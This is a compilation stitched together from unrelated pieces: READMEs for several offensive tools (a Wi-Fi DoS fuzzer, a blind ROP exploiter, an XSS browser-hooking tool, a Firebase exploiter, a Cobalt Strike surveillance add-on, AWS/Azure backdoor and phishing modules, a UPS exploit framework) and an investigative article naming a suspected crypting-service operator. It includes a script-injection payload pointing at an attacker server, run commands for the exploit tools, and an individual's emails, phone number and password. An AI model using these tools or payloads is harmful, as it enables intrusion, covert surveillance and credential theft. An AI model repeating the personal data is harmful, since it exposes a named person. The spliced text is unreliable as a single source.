STEP1: Pick the option 5), namely:
5) DoS attack module
STEP2: Pick the attack module you wish
1) Frames detected at the moment of connectivity disruption, one-by-one
2) Sequence of frames till the moment a disruption was detected (BETA)
STEP3: The first mode of DoS802.11, tests all the frames that the fuzzer detected up to that moment. It is a second hand filtering to separate the true positive from the false positive frames. In case a frame is positive, i.e., causes a DoS to the associated STA, an exploit is being produced automatically.
STEP4: DoS802.11 exits when the log files have been considered.
**The rest to modules are currently in BETA mode.
So far, the fuzzer managed to identify the following CVE IDs, by exploiting different Management frames:
| CVE IDs | Vulnerable Devices/Chipsets | WPA2/WPA3-SAE | Status | Score |
|---|---|---|---|---|
| CVE-2022-32654 | mt5221/mt7603/mt7613 mt7615/mt7622/mt7628 mt7629/mt7663/mt7668 mt7682/mt7686/mt7687 mt7697/mt7902/mt7915 mt7916/mt7921/mt7933 mt7981/mt7986/mt8167S mt8175/mt8362A/mt8365 mt8385/mt8518S/mt8532 mt8695/mt8696/mt8788 | Both | Published | 6.7 (Medium) |
| CVE-2022-32655 | mt5221/mt7603/mt7613 mt7615/mt7622/mt7628 mt7629/mt7663/mt7668 mt7682/mt7686/mt7687 mt7697/mt7902/mt7915 mt7916/mt7921/mt7933 mt7981/mt7986/mt8167S mt8175/mt8362A/mt8365 mt8385/mt8518S/mt8532 mt8695/mt8696/mt8788 | Both | Published | 6.7 (Medium) |
| CVE-2022-32656 | mt5221/mt7603/mt7613 mt7615/mt7622/mt7628 mt7629/mt7663/mt7668 mt7682/mt7686/mt7687 mt7697/mt7902/mt7915 mt7916/mt7921/mt7933 mt7981/mt7986/mt8167S mt8175/mt8362A/mt8365 mt8385/mt8518S/mt8532 mt8695/mt8696/mt8788 | Both | Published | 6.7 (Medium) |
| CVE-2022-32657 | mt7603/mt7613/mt7615 mt7622/mt7628/mt7629 mt7915/mt7916/mt7981 mt7986 | Both | Published | 6.7 (Medium) |
| CVE-2022-32658 | mt7603/mt7613/mt7615 mt7622/mt7628/mt7629 mt7915/mt7916/mt7981 mt7986 | Both | Published | 6.7 (Medium) |
| CVE-2022-32659 | mt7603/mt7613/mt7615 mt7622/mt7628/mt7629 mt7915/mt7916/mt7981 mt7986/mt8518s/mt8532 | Both | Published | 6.7 (Medium) |
| CVE-2022-46740 | WS7100-20 | Both | Published | 6.5 (Medium) |
We would like also to thank the MediaTek and Huawei security teams, for acknowledging and fixing these security issues, as stated in the following two security advisories: MediaTek and Huawei.
Moreover, by following the methodology of the work titled "How is your Wi-Fi connection today? DoS attacks on WPA3-SAE", the fuzzer can identify the same SAE vulnerabilities which are linked to the below CVE IDs:
| CVE IDs | Vulnerable Devices/Chipsets | WPA2/WPA3-SAE | Status | Score |
|---|---|---|---|---|
| CVE-2021-37910 | All ASUS RX-based models | WPA3-SAE | Published | 5.3 (medium) |
| CVE-2021-40288 | AX10v1 | WPA3-SAE | Published | 7.5 (high) |
| CVE-2021-41753 | DIR-x1560/DIR-X6060 | WPA3-SAE | Published | 7.5 (high) |
| CVE-2021-41788 | mt7603E/mt7612/mt7613 mt7615/mt7622/mt7628 mt7629/mt7915 | WPA3-SAE | Published | 7.5 (high) |
The interested readers are referred to the below publications regarding the methodology used to build WPAxFuzz. Note that the paper titled "How is your Wi-Fi connection today? DoS attacks on WPA3-SAE" published in the international Journal of Information Security and Applications (JISA), Elsevier has received the Dr KW Wong Annual Best Paper Award for 2022. The announcement can be found at: https://www.sciencedirect.com/journal/journal-of-information -security-and-applications/about/awards. Overall, the methodology detailed in the JISA paper is expanded in the WPAxFuzz publication.
@article{kampourakis2022wpaxfuzz,
title={WPAxFuzz: Sniffing Out Vulnerabilities in Wi-Fi Implementations},
author={Kampourakis, Vyron and Chatzoglou, Efstratios and Kambourakis, Georgios and Dolmes, Apostolos and Zaroliagis, Christos},
journal={Cryptography},
volume={6},
number={4},
pages={53},
year={2022},
publisher={MDPI}
}
@article{chatzoglou2022your,
title={How is your Wi-Fi connection today? DoS attacks on WPA3-SAE},
author={Chatzoglou, Efstratios and Kambourakis, Georgios and Kolias, Constantinos},
journal={Journal of Information Security and Applications},
volume={64},
pages={103058},
year={2022},
publisher={Elsevier}
}
MIT License
Copyright (c) 2022-2023 Vyron Kampourakis (Management frames, Control frames, Data frames and DoS tools)
Copyright (c) 2022 Apostolos Dolmes (SAE Exchange tool)
Copyright (c) 2022-2023 Efstratios Chatzoglou (Methodology)
Efstratios Chatzoglou - efchatzoglou@gmail.com
Vyron Kampourakis - byrkam@gmail.com
We would like to thank all the vendors we contacted and reported these attacks, along with the retrieved bug bounties we received. Also, we would like to give some acknowledgement the README template repo, which helped us to create this README file and logo.com, which allowed us to create the WPAxFuzz tool logo.
An automatic Blind ROP exploitation python tool
BROP (Blind ROP) was a technique found by Andrew Bittau from Stanford in 2014.
Most servers like nginx, Apache, MySQL, forks then communicates with the client. This means canary and addresses stay the same even if there is ASLR and PIE. So we can use some educated brute force to leak information and subsequently craft a working exploit.
There is 3 customs vulnerable examples provided in this repository. You can run it directly or build the Dockerfile
BROPPER will then dump the binary :
It's then possible to extract all ROP gadgets from the dumped binary using ROPgadget for example :
$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx
Unique gadgets found: 235To use this script:
python3 -m pip install -r requirements.txt
python3 bropper.py -t 127.0.0.1 -p 1337 --wait "Password :" --expected Bad --expected-stop Welcome -o dump$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
[--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]
Description message
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target url
-p PORT, --port PORT target port
--expected-stop EXPECTED_STOP
Expected response for the stop gadget
--expected EXPECTED Expected normal response
--wait WAIT String to wait before sending payload
-o OUTPUT, --output OUTPUT
File to write dumped remote binary
--offset OFFSET set a offset value
--canary CANARY set a canary valu e
--no-canary Use this argument if there is no stack canary protection
--rbp RBP set rbp address
--rip RIP set rip address
--stop STOP set stop gadget address
--brop BROP set brop gadget address
--plt PLT set plt address
--strcmp STRCMP set strcmp entry value
--elf ELF set elf addressPull requests are welcome. Feel free to open an issue if you want to add other features.
If you operate a cybercrime business that relies on disseminating malicious software, you probably also spend a good deal of time trying to disguise or “crypt” your malware so that it appears benign to antivirus and security products. In fact, the process of “crypting” malware is sufficiently complex and time-consuming that most serious cybercrooks will outsource this critical function to a handful of trusted third parties. This story explores the history and identity behind Cryptor[.]biz, a long-running crypting service that is trusted by some of the biggest names in cybercrime.
Virtually all malware that is deployed for use in data stealing at some point needs to be crypted. This highly technical, laborious process involves iteratively altering the appearance and behavior of a malicious file until it no longer sets off alarm bells when scanned by different antivirus tools.
Experienced malware purveyors understand that if they’re not continuously crypting their malware before sending it out, then a lot more of whatever digital disease they are trying to spread is going to get flagged by security tools. In short, if you are running a cybercrime enterprise and you’re not equipped to handle this crypting process yourself, you probably need to pay someone else to do it for you.
Thanks to the high demand for reliable crypting services, there are countless cybercriminals who’ve hung out their shingles as crypting service providers. However, most of these people do not appear to be very good at what they do, because most are soon out of business.
One standout is Cryptor[.]biz. This service is actually recommended by the purveyors of the RedLine information stealer malware, which is a popular and powerful malware kit that specializes in stealing victim data and is often used to lay the groundwork for ransomware attacks. Cryptor[.]biz also has been recommended to customers of the Vidar information stealer malware family (via the malware’s Telegram support channels).
As good as Cryptor[.]biz may be at obfuscating malware, its proprietor does not appear to have done a great job covering his own tracks. The registration records for the website Cryptor[.]biz are hidden behind privacy protection services, but the site’s homepage says potential customers should register by visiting the domain crypt[.]guru, or by sending a Jabber instant message to the address “masscrypt@exploit.im.”
Crypt[.]guru’s registration records also are hidden, yet passive domain name system (DNS) records for both cryptor[.]biz and crypt[.]guru show that in 2018 the domains were forwarding incoming email to the address obelisk57@gmail.com.
Cyber intelligence firm Intel 471 reports that obelisk57@gmail.com was used to register an account on the forum Blacksoftware under the nickname “Kerens.” Meanwhile, the Jabber address masscrypt@exploit.im has been associated with the user Kerens on the Russian hacking forum Exploit from 2011 to the present day.
The login page for Cryptor dot biz contains several clues about who runs the service.
The very first post by Kerens on Exploit in 2011 was a negative review of a popular crypting service that predated Cryptor[.]biz called VIP Crypt, which Kerens accused of being “shitty” and unreliable. But Intel 471 finds that after his critical review of VIP Crypt, Kerens did not post publicly on Exploit again for another four years until October 2016, when they suddenly began advertising Cryptor[.]biz.
Intel 471 found that Kerens used the email address pepyak@gmail.com, which also was used to register Kerens accounts on the Russian language hacking forums Verified and Damagelab.
Ironically, Verified has itself been hacked multiple times over the years, with its private messages and user registration details leaked online. Those records indicate the user Kerens registered on Verified in March 2009 from an Internet address in Novosibirsk, a city in the southern Siberian region of Russia.
In 2010, someone with the username Pepyak on the Russian language affiliate forum GoFuckBiz[.]com shared that they typically split their time during the year between living in Siberia (during the milder months) and Thailand (when Novosibirsk is typically -15 °C/°5F).
For example, in one conversation about the best car to buy for navigating shoddy roads, Pepyak declared, “We have shitty roads in Siberia.” In January 2010, Pepyak asked the GoFuckBiz community where one might find a good USB-based modem in Phuket, Thailand.
DomainTools.com says the email address pepyak@gmail.com was used to register 28 domain names over the years, including a now-defunct Russian automobile sales website called “autodoska[.]biz.” DomainTools shows this website was registered in 2008 to a Yuri Churnov from Sevastpol, Crimea (prior to Russia’s annexation of Crimea in 2014, the peninsula was part of Ukraine).
The WHOIS records for autodoska[.]biz were changed in 2010 to Sergey Purtov (pepyak@gmail.com) from Yurga, a town in Russia’s Kemerovo Oblast, which is a relatively populous area in Western Siberia that is adjacent to Novosibirsk.
A satellite view of the region including Novosibirsk, Yurga and Kemerovo Oblast. Image: Google Maps.
Many of the 28 domains registered to pepyak@gmail.com have another email address in their registration records: unforgiven57@mail.ru. According to DomainTools, the Unforgiven email address was used to register roughly a dozen domains, including three that were originally registered to Keren’s email address — pepyak@gmail.com (e.g., antivirusxp09[.]com).
One of the domains registered in 2006 to the address unforgiven57@mail.ru was thelib[.]ru, which for many years was a place to download pirated e-books. DomainTools says thelib[.]ru was originally registered to a Sergey U Purtov.
Most of the two-dozen domains registered to pepyak@gmail.com shared a server at one point with a small number of other domains, including mobile-soft[.]su, which was registered to the email address spurtov@gmail.com.
CDEK, an express delivery company based in Novosibirsk, was apparently hacked at some point because cyber intelligence firm Constella Intelligence found that its database shows the email address spurtov@gmail.com was assigned to a Sergey Yurievich Purtov (Сергей Юрьевич Пуртов).
DomainTools says the same phone number in the registration records for autodoska[.]biz (+7.9235059268) was used to secure two other domains — bile[.]ru and thelibrary[.]ru, both of which were registered to a Sergey Y Purtov.
A search on the phone number 79235059268 in Skype reveals these digits belong to a “Sergey” from Novosibirsk with the now-familiar username — Pepyak.
Bringing things full circle, Constella Intelligence shows that various online accounts tied to the email address unforgiven57@mail.ru frequently relied on the somewhat unique password, “plk139t51z.” Constella says that same password was used for just a handful of other email addresses, including gumboldt@gmail.com.
Hacked customer records from CDEK show gumboldt@gmail.com was tied to a customer named Sergey Yurievich Purtov. DomainTools found that virtually all of the 15 domain names registered to gumboldt@gmail.com (including the aforementioned mobile-soft[.]su) were at one point registered to spurtov@gmail.com.
Intel 471 reports that gumboldt@gmail.com was used in 2009 to register a user by the nickname “Kolumb” on the Russian hacking forum Antichat. From Kolumb’s posts on Antichat, it seems this user was mostly interested in buying access to compromised computers inside of Russia.
Then in December 2009, Kolumb said they were in desperate need of a reliable crypting service or full-time cryptor.
“We need a person who will crypt software every day, sometimes even a couple of times a day,” Kolumb wrote on Antichat.
Mr. Purtov did not respond to requests for comment sent to any of the email addresses referenced in this report. Mail.ru responded that the email address spurtov@mail.ru is no longer active.
As KrebsOnSecurity opined on Mastodon earlier this week, it makes a lot of sense for cybersecurity researchers and law enforcement alike to focus attention on the top players in the crypting space — for several reasons. Most critically, the cybercriminals offering time-tested crypting services also tend to be among the most experienced and connected malicious coders on the planet.
Think of it this way: By definition, a crypting service scans and examines all types of malware before those new nasties are first set loose in the wild. This fact alone should make these criminal enterprises a primary target of cybersecurity firms looking to gain more timely intelligence about new malware.
Also, a review of countless posts and private messages from Pepyak and other crypting providers shows that a successful crypting service will have direct and frequent contact with some of the world’s most advanced malware authors.
In short, infiltrating or disrupting a trusted crypting service can be an excellent way to slow down or even sideline a large number of cybercrime operations all at once.
Further reading on the crypting industry:
This Service Helps Malware Authors Fix Flaws in Their Code
Antivirus is Dead: Long Live Antivirus!
XSS Exploitation Tool is a penetration testing tool that focuses on the exploit of Cross-Site Scripting vulnerabilities.
This tool is only for educational purpose, do not use it against real environment
Tested on Debian 11
You may need Apache, Mysql database and PHP with modules:
$ sudo apt-get install apache2 default-mysql-server php php-mysql php-curl php-dom
$ sudo rm /var/www/index.html
Install Git and pull the XSS-Exploitation-Tool source code:
$ sudo apt-get install git
$ cd /tmp
$ git clone https://github.com/Sharpforce/XSS-Exploitation-Tool.git
$ sudo mv XSS-Exploitation-Tool/* /var/www/html/
Install composer, then install the application dependencies:
$ sudo apt-get install composer
$ cd /var/www/html/
$ sudo chown -R $your_debian_user:$your_debian_user /var/www/
$ composer install
$ sudo chown -R www-data:$www-data /var/www/
$ sudo mysql
Creating a new user with specific rights:
MariaDB [(none)]> grant all on *.* to xet@localhost identified by 'xet';
Query OK, 0 rows affected (0.00 sec)
MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.00 sec)
MariaDB [(none)]> quit
Bye
Creating the database (will result in an empty page):
Visit the page http://server-ip/reset_database.php
The file hook.js is a hook. You need to replace the ip address in the first line with the XSS Exploitation Tool server ip address:
var address = "your server ip";First, create a page (or exploit a Cross-Site Scripting vulnerability) to insert the Javascript hook file (see exploit.html at the root dir):
?vulnerable_param=<script src="http://your_server_ip/hook.js"/>
Then, when victims visit the hooked page, the XSS Exploitation Tool server should list the hooked browsers:
exploit.json to upload during exploitURI path for exploitThis will display help for the CLI tool. Here are all the required arguments it supports.
FirebaseExploiter was built using go1.19. Make sure you use latest version of Go to install successfully. Run the following command to install the latest version:
go install -v github.com/securebinary/firebaseExploiter@latestTo scan a specific domain to check for Insecure Firebase DB.
To exploit a Firebase DB to write your own JSON document in it.
Create your own exploit.json file in proper JSON format to exploit vulnerable Firebase DBs.
Checking the exploited URL to verify the vulnerability.
Adding custom path for exploiting Firebase DBs.
Mass scanning for Insecure Firebase Databases from list of target hosts.
Exploiting vulnerable Firebase DBs from the list of target hosts.
FirebaseExploiter is made with love by the SecureBinary team. Any tweaks / community contribution are welcome.
vm2-1200
WindowSpy is a Cobalt Strike Beacon Object File meant for targetted user surveillance. The goal of this project was to trigger surveillance capabilities only on certain targets, e.g. browser login pages, confidential documents, vpn logins etc. The purpose was to increase stealth during user surveillance by preventing detection of repeated use of surveillance capabilities e.g. screenshots. It also saves the red team time in sifting through many pages of user surveillance data, which would be produced if keylogging/screenwatch was running at all times.
Each time a beacon checks in, the BOF runs on the target. The BOF comes with a hardcoded list of strings that are common in useful window titles e.g. login, administrator, control panel, vpn etc. You can customize this list and recompile yourself. It enumerates the visible windows and compares the titles to the list of strings, and if any of these are detected, it triggers a local aggressorscript function defined in WindowSpy.cna named spy(). By default, it takes a screenshot. You may customize this function however you want, e.g. keylogging, WireTap, webcam, etc.
The spy() function has 1 argument, $1 being the beacon id of the beacon that triggered it.
I built this because I was bored, and was messing with user surveillance. If there are bugs, open an issue. If there are any issues with the design, feel free to open an issue too.
Cloud Exploit Framework
python3 tc.py -h
_______ _ _ _____ _ _
|__ __| | | | / ____| | | |
| | | |__ _ _ _ __ __| | ___ _ __| | | | ___ _ _ __| |
| | | '_ \| | | | '_ \ / _` |/ _ \ '__| | | |/ _ \| | | |/ _` |
| | | | | | |_| | | | | (_| | __/ | | |____| | (_) | |_| | (_| |
\_/ |_| |_|\__,_|_| |_|\__,_|\___|_| \_____|_|\___/ \__,_|\__,_|
usage: tc.py [-h] [-ce COGNITO_ENDPOINT] [-reg REGION] [-accid AWS_ACCOUNT_ID] [-aws_key AWS_ACCESS_KEY] [-aws_secret AWS_SECRET_KEY] [-bdrole BACKDOOR_ROLE] [-sso SSO_URL] [-enum_roles ENUMERATE_ROLES] [-s3 S3_BUCKET_NAME]
[-conn_string CONNECTION_STRING] [-blob BLOB] [-shared_access_key SHARED_ACCESS_KEY]
Attack modules of cloud AWS
optional arguments:
-h, --help show this help message and exit
-ce COGNITO_ENDPOINT, --cognito_endpoint COGNITO_ENDPOINT
to verify if cognito endpoint is vulnerable and to extract credentials
-reg REGION, --region REGION
AWS region of the resource
-accid AWS_ACCOUNT_ID, --aws_account_id AWS_ACCOUNT_ID
AWS account of the victim
-aws_key AWS_ACCESS_KEY, --aws_access_key AWS_ACCESS_KEY
AWS access keys of the victim account
-aws_secret AWS_SECRET_KEY, --aws_secret_key AWS_SECRET_KEY
AWS secret key of the victim account
-bdrole BACKDOOR_ROLE, --backdoor_role BACKDOOR_ROLE
Name of the backdoor role in victim role
-sso SSO_URL, --sso_url SSO_URL
AWS SSO URL to phish for AWS credentials
-enum_roles ENUMERATE_ROLES, --enumerate_roles ENUMERATE_ROLES
To enumerate and assume account roles in victim AWS roles
-s3 S3_BUCKET_NAME, --s3_bucket_name S3_BUCKET_NAME
Execute upload attack on S3 bucket
-conn_string CONNECTION_STRING, --connection_string CONNECTION_STRING
Azure Shared Access key for readingservicebus/queues/blobs etc
-blob BLOB, --blob BLOB
Azure blob enumeration
-shared_access_key SHARED_ACCESS_KEY, --shared_access_key SHARED_ACCESS_KEY
Azure shared key
* python 3
* pip
* git
- get project `git clone https://github.com/Rnalter/ThunderCloud.git && cd ThunderCloud/`
- install [virtualenv](https://virtualenv.pypa.io/en/latest/) `pip install virtualenv`
- create a python 3.6 local enviroment `virtualenv -p python3.6 venv`
- activate the virtual enviroment `source venv/bin/activate`
- install project dependencies `pip install -r requirements.txt`
- run the tool via `python tc.py --help`
Examples
python3 tc.py -sso <sso_url> --region <region>
python3 tc.py -ce <cognito_endpoint> --region <region>
Thunderstorm is a modular framework to exploit UPS devices.
For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.
Thunderstorm is currently capable of exploiting the following CVE:
It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:
git clone https://github.com/JoelGMSec/Thunderstorm
Also, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php
- To be disclosed
This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.
This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec
This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.
For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.
